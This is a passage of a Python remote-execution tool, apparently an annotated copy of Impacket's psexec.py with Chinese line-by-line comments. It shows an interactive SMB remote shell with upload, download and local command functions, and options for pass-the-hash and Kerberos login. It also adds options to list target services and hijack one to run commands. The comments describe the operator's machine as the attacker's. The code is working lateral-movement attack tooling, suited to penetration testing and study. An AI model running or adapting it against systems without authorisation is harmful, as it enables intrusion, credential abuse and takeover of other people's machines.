                            if len(stdout_ans) != 0:
                                # Append new data to the buffer while there is data to read
                                __stdoutOutputBuffer += stdout_ans

                        promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'

                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
                        if endsWithPrompt:
                            # All data, we shouldn't have encoding errors
                            # Adding a space after the prompt because it's beautiful
                            __stdoutData = __stdoutOutputBuffer + " "
                            # Remainder data for next iteration
                            __stdoutOutputBuffer = ""

                        elif '\n' in __stdoutOutputBuffer:
                            # We have read a line, print buffer if it is not empty
                            lines = __stdoutOutputBuffer.split("\n")
                            # All lines, we shouldn't have encoding errors
                            __stdoutData = "\n".join(lines[:-1]) + "\n"
                            # Remainder data for next iteration
                            __stdoutOutputBuffer = lines[-1]

                        if len(__stdoutData) != 0:
                            # There is data to print
                            sys.stdout.write(__stdoutData.decode(CODEC))
                            sys.stdout.flush()
                            __stdoutData = ""
                        else:
                            # Don't echo the command that was sent, and clear it up
                            LastDataSent = ""
                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                        # it will give false positives tho.. we should find a better way to handle this.
                        # if LastDataSent > 10:
                        #     LastDataSent = ''
                    except Exception as e:
                        pass
# 这段代码就是 “远程 stdout 管道输出的清洗器 + 交互模拟器”。


class RemoteStdErrPipe(Pipes):
    def __init__(self, transport, pipe, permisssions):
        Pipes.__init__(self, transport, pipe, permisssions)

    def run(self):
        self.connectPipe()

        # 建立和远程进程的 stderr 命名管道 的连接。

        if PY3:
            __stderrOutputBuffer, __stderrData = b'', b''
            # __stderrOutputBuffer：用于拼接未完整的一行错误输出。

            while True:
                try:
                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        if len(stderr_ans) != 0:
                            # Append new data to the buffer while there is data to read
                            __stderrOutputBuffer += stderr_ans
                            # 无限循环持续读取管道（守护线程模式）。
                            # readFile(..., 1024)：尝试读取最多 1024 bytes。可能的返回：
                            # 非空 bytes：新数据
                            # 空 bytes：可能表示无内容（实现依赖 impacket），但代码只在 len(stderr_ans) != 0 时 append
                            # readFile 抛异常（如网络问题、文件句柄失效）：except 捕获并 pass —— 循环继续（线程不会崩溃）
                            # 把非空读取结果追加到 __stderrOutputBuffer。

                        if b'\n' in __stderrOutputBuffer:
                            # We have read a line, print buffer if it is not empty
                            lines = __stderrOutputBuffer.split(b"\n")
                            # All lines, we shouldn't have encoding errors
                            __stderrData = b"\n".join(lines[:-1]) + b"\n"
                            # Remainder data for next iteration
                            __stderrOutputBuffer = lines[-1]
                            # 如果缓冲中出现 \n 则说明至少有一整行（或多行）可输出。
                            # lines[:-1] 是所有完整行（最后一项可能为不完整的尾部），通过 b"\n".join(...) + b"\n" 恢复原来的换行格式放入 __stderrData。
                            # 将最后一个片段（不完整行或空）留回 __stderrOutputBuffer 以便下一次继续拼接。

                        if len(__stderrData) != 0:
                            # There is data to print
                            try:
                                sys.stdout.write(__stderrData.decode(CODEC))
                                sys.stdout.flush()
                                __stderrData = b""
                            except UnicodeDecodeError:
                                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
                                              'again with -codec and the corresponding codec')
                                print(__stderrData.decode(CODEC, errors='replace'))
                                __stderrData = b""
                                # 使用 CODEC（来自脚本顶部 CODEC = sys.stdout.encoding 或 -codec 参数覆盖）对 bytes 调用 .decode(CODEC)，得到 str 并写到 sys.stdout。
                                # sys.stdout.flush() 确保即时输出。
                                # 成功后把 __stderrData 清空。
                        else:
                            # Don't echo the command that was sent, and clear it up
                            LastDataSent = b""
                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                        # it will give false positives tho.. we should find a better way to handle this.
                        # if LastDataSent > 10:
                        #     LastDataSent = ''
                    except Exception as e:
                        pass
                    # 处理解析/输出过程中的任意异常并忽略，保持线程存活
        else:
            __stderrOutputBuffer, __stderrData = '', ''

            while True:
                try:
                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        if len(stderr_ans) != 0:
                            # Append new data to the buffer while there is data to read
                            __stderrOutputBuffer += stderr_ans

                        if '\n' in __stderrOutputBuffer:
                            # We have read a line, print buffer if it is not empty
                            lines = __stderrOutputBuffer.split("\n")
                            # All lines, we shouldn't have encoding errors
                            __stderrData = "\n".join(lines[:-1]) + "\n"
                            # Remainder data for next iteration
                            __stderrOutputBuffer = lines[-1]

                        if len(__stderrData) != 0:
                            # There is data to print
                            sys.stdout.write(__stderrData.decode(CODEC))
                            sys.stdout.flush()
                            __stderrData = ""
                        else:
                            # Don't echo the command that was sent, and clear it up
                            LastDataSent = ""
                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                        # it will give false positives tho.. we should find a better way to handle this.
                        # if LastDataSent > 10:
                        #     LastDataSent = ''
                    except:
                        pass
# 意图
# 获并显示远程进程的错误输出。
# 在远程执行命令时，不仅有正常结果（stdout），还有可能产生错误（stderr）。
# 如果不处理 stderr，用户在交互式 shell 中就看不到报错信息，体验会失真。
# 保证 stderr 的输出格式和 stdout 一致。
# 通过缓冲区、按行输出、编码解码，确保报错信息在本地终端正确显示。

class RemoteShell(cmd.Cmd):
    # 继承 Python 标准库的 cmd.Cmd，这个类就是用来构建交互式命令行解释器的。
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        # 初始化父类 cmd.Cmd，参数 False 的含义是禁用 command completion（命令自动补全功能）。
        self.prompt = '\x08'
        # 设置交互式提示符为 \x08（ASCII 退格符）。
        # 这是个技巧：
        # 通过这种特殊字符，用户在交互时几乎看不到传统的提示符符号（比如 $、>）。
        # 目的是：避免提示符和远程回显的命令输出混淆。
        self.server = server
        # 保存远程 SMB/RPC 服务的连接句柄或对象
        self.transferClient = None
        # 占位符，未来可能会初始化为一个文件传输客户端对象。
        self.tid = tid
        # tid（Tree ID）：表示 SMB 协议中的一个树连接（对应一个共享目录，比如 C$）。
        self.fid = fid
        # fid（File ID）：文件句柄 ID，通常是一个 已打开的远程管道（例如 \\PIPE\\RemCom_Communicate）。
        self.credentials = credentials
        # 保存用于连接目标的凭据对象。
        self.share = share
        # 目标共享名称（例如 ADMIN$ 或 C$）
        self.port = port
        # 保存远程目标 SMB 服务端口。
        self.transport = transport
        # 传输层对象，封装 SMB 连接、I/O 操作。
        self.intro = '[!] Press help for extra shell commands'
        # 当进入这个 shell 时，会自动显示这段提示信息。

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        # 这里创建的是一个新的 SMB 连接，而不是复用 self.server
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        # self.credentials 存放用户的认证信息
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
            # 调用 kerberosLogin，使用 AES key、TGT/TGS 或密码与 KDC 交互获取服务票据。
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)
            # 调用 login，走 NTLM 认证流程

    def do_help(self, line):
        print("""
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 lput {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 lget {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share))
        self.send_data('\r\n', False)
        # 远程shell的加强help显示

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')
        # 当用户在远程交互 shell 里输入 ! dir 或 ! ls，会触发 do_shell("dir") 或 do_shell("ls")。也就是在攻击者机器上运行命令

    def do_lget(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
                # 确保有一个 SMB 客户端连接可以进行文件传输。
                # 如果还没建立，则调用 connect_transferClient()，用当前的认证信息重新建立 SMB 会话。

            import ntpath
            filename = ntpath.basename(src_path)
            # ntpath 是 Python 提供的 Windows 路径处理模块（即使在 Linux 上也能模拟 Windows 路径规则）。src_path 是远程文件路径，ntpath.basename()会提取最后的文件名
            fh = open(filename,'wb')
            # 在攻击机本地打开一个文件，写入模式（二进制）。
            logging.info("Downloading %s\\%s" % (self.share, src_path))
            # 打印日志，提示正在下载哪个共享里的哪个文件。
            self.transferClient.getFile(self.share, src_path, fh.write)
            # 通过 SMB 协议下载文件。
            fh.close()
            # 关闭本地文件句柄，保存下载完成的文件。
        except Exception as e:
            logging.critical(str(e))
            pass
        # 如果下载过程中失败（例如路径错误、权限不足、连接断开），会捕获异常并打印错误信息。

        self.send_data('\r\n')
        # 和 do_shell、do_help 一样，追加换行，保证交互界面整洁。

    def do_lput(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
                # 确保 SMB 客户端已建立连接。
                # 如果还没有，调用 connect_transferClient() 来初始化。
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'
                # params 是用户输入的字符串通过空格分割：
                # 如果提供了两个参数，第一个是本地文件路径，第二个是远程目标路径。
                # 如果只提供一个参数，默认远程路径为 '/'（即 SMB 共享根目录）。

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            # os.path.basename() 提取本地文件名，例如 C:\Users\Admin\secret.txt → secret.txt
            # fh = open(src_path, 'rb') 打开本地文件用于读取二进制内容，准备上传。

            f = dst_path + '/' + src_file
            pathname = f.replace('/','\\')
            # 远程文件全路径 = 远程目标目录 + 文件名
            # SMB 协议使用 Windows 风格的路径（反斜杠 \），所以替换 / 为 \
            logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
            # 输出日志，提示正在上传哪个文件到哪个共享目录
            if PY3:
                self.transferClient.putFile(self.share, pathname, fh.read)
            else:
                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
            fh.close()
            # 核心上传逻辑：调用 putFile
            # 参数解释：
            # self.share → SMB 共享名
            # pathname → 共享内目标文件路径
            # fh.read → 回调函数，把本地文件内容传送到远程
            # 关闭本地文件句柄，释放资源。
        except Exception as e:
            logging.error(str(e))
            pass
        # 捕获上传过程中可能的异常（文件不存在、权限不足、连接中断等），输出错误但不终止 shell 会话。

        self.send_data('\r\n')
        # 和 do_lget 一样，发送换行符到交互 shell，使界面整洁。

    def do_lcd(self, s):
        # 定义了 lcd 命令的处理函数
        if s == '':
            print(os.getcwd())
            # 如果没有指定路径（即用户直接输入 lcd），
            # 就打印当前工作目录（os.getcwd()）。
            # 这样用户可以确认自己当前所在本地目录。
        else:
            os.chdir(s)
            # 如果用户提供了路径，则调用 os.chdir(s) 切换当前工作目录。
        self.send_data('\r\n')
        # 向远程交互 shell 输出一个换行符，使界面保持整洁

    def emptyline(self):
        self.send_data('\r\n')
        return
    # 这段代码实现了 cmd.Cmd 的 emptyline 方法，用于处理用户在交互 shell 中 直接按回车但不输入任何命令 的情况 
    # 向远程 shell 输出一个换行符，保证 命令提示符保持整洁。
    # 没有其他逻辑，不会执行任何命令。

    def default(self, line):
        if PY3:
            self.send_data(line.encode(CODEC)+b'\r\n')
        else:
            self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n')
        # cmd.Cmd 的默认行为是，当用户输入的命令没有对应 do_XXX 方法时，会调用 default(line)。处理用户输入的非内置命令，并将其转发到远程 shell 执行。
    def send_data(self, data, hideOutput = True):
        # 定义一个方法 send_data，负责把数据发送到远程 shell。
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
            # 使用全局变量 LastDataSent 保存发送的数据。防止命令二次回显
        else:
            LastDataSent = ''
            # 如果 hideOutput 为 False：
            # 不记录发送的数据，LastDataSent 清空。
        self.server.writeFile(self.tid, self.fid, data)
        # 核心操作：通过 SMB/IPC 调用，把 data 写入远程 shell 进程对应的文件/管道

class RemoteStdInPipe(Pipes):
    # 定义一个类 RemoteStdInPipe，继承自 Pipes。
    # 功能上，它专门负责 把本地用户输入传送到远程 shell 的 stdin。
    def __init__(self, transport, pipe, permisssions, share=None):
        self.shell = None
        Pipes.__init__(self, transport, pipe, permisssions, share)
        # self.shell = None：在管道建立后会创建一个 RemoteShell 实例，用于管理命令输入。
        # 调用父类 Pipes 的构造函数，传入：
        # transport：传输方式（SMB、RPC 等）
        # pipe：管道名
        # permissions：访问权限
        # share：可选的 SMB 共享名

    def run(self):
        self.connectPipe()
        # run() 是管道线程的主循环。self.connectPipe()：建立 IPC 管道与远程进程的 stdin 通信。
        self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
        # 这个 RemoteShell 对象负责 本地命令输入解析、执行以及发送到远程 shell。
        self.shell.cmdloop()
        # 启动 RemoteShell 的命令循环：
        # 这是 Python cmd.Cmd 的标准方法，会进入一个 REPL 风格的循环。
        # 用户输入的命令：
        # 会被 RemoteShell.default() 或 do_XXX 方法捕获
        # 通过 send_data() 写入远程 stdin 管道
        # RemoteStdOutPipe / RemoteStdErrPipe 会读取远程 stdout/stderr 并打印到本地终端

# Process command-line arguments.
if __name__ == '__main__':
    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at '
                                                                  'the target (w/o path) - (default:cmd.exe)')
    parser.add_argument('-c', action='store',metavar = "pathname",  help='copy the filename for later execution, '
                                                                         'arguments are passed in the command option')
    parser.add_argument('-path', action='store', help='path of the command to execute')
    parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
                                                       '"%s"). If errors are detected, run chcp.com at the target, '
                                                       'map the result with '
                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '
                          'again with -codec and the corresponding codec ' % CODEC)

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
                       'ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')
    group.add_argument('-service-name', action='store', metavar="service_name", default = '', help='The name of the service'
                                                                                ' used to trigger the payload')
    group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will '
                                                            'be the name of the executable uploaded on the target')
    
    group = parser.add_argument_group('service hijacking')
    
    group.add_argument('-service-list', action='store_true', help='List all services on target and mark suitable ones for hijacking')
    group.add_argument('-service-change', action='store', metavar="service_name", help='Execute command by hijacking specified service')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    # Handle different versions of impacket logger.init()
    try:
        # Try the newer API with both ts and debug parameters
        logger.init(options.ts, options.debug)
    except TypeError:
        try:
            # Fallback for versions that only accept debug parameter
            logger.init(options.debug)
        except TypeError:
            # Fallback for versions that don't accept any parameters
            logger.init()

    if options.codec is not None:
        CODEC = options.codec
    else:
        if CODEC is None:
            CODEC = 'utf-8'

    domain, username, password, remoteName = parse_target(options.target)

    if domain is None:
        domain = ''

    if options.keytab is not None:
        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
        options.k = True

    if options.target_ip is None:
        options.target_ip = remoteName

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    command = ' '.join(options.command)
    if command == ' ':
        command = 'cmd.exe'

    executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
                      options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name, 
                      options.service_list, options.service_change)
    executer.run(remoteName, options.target_ip)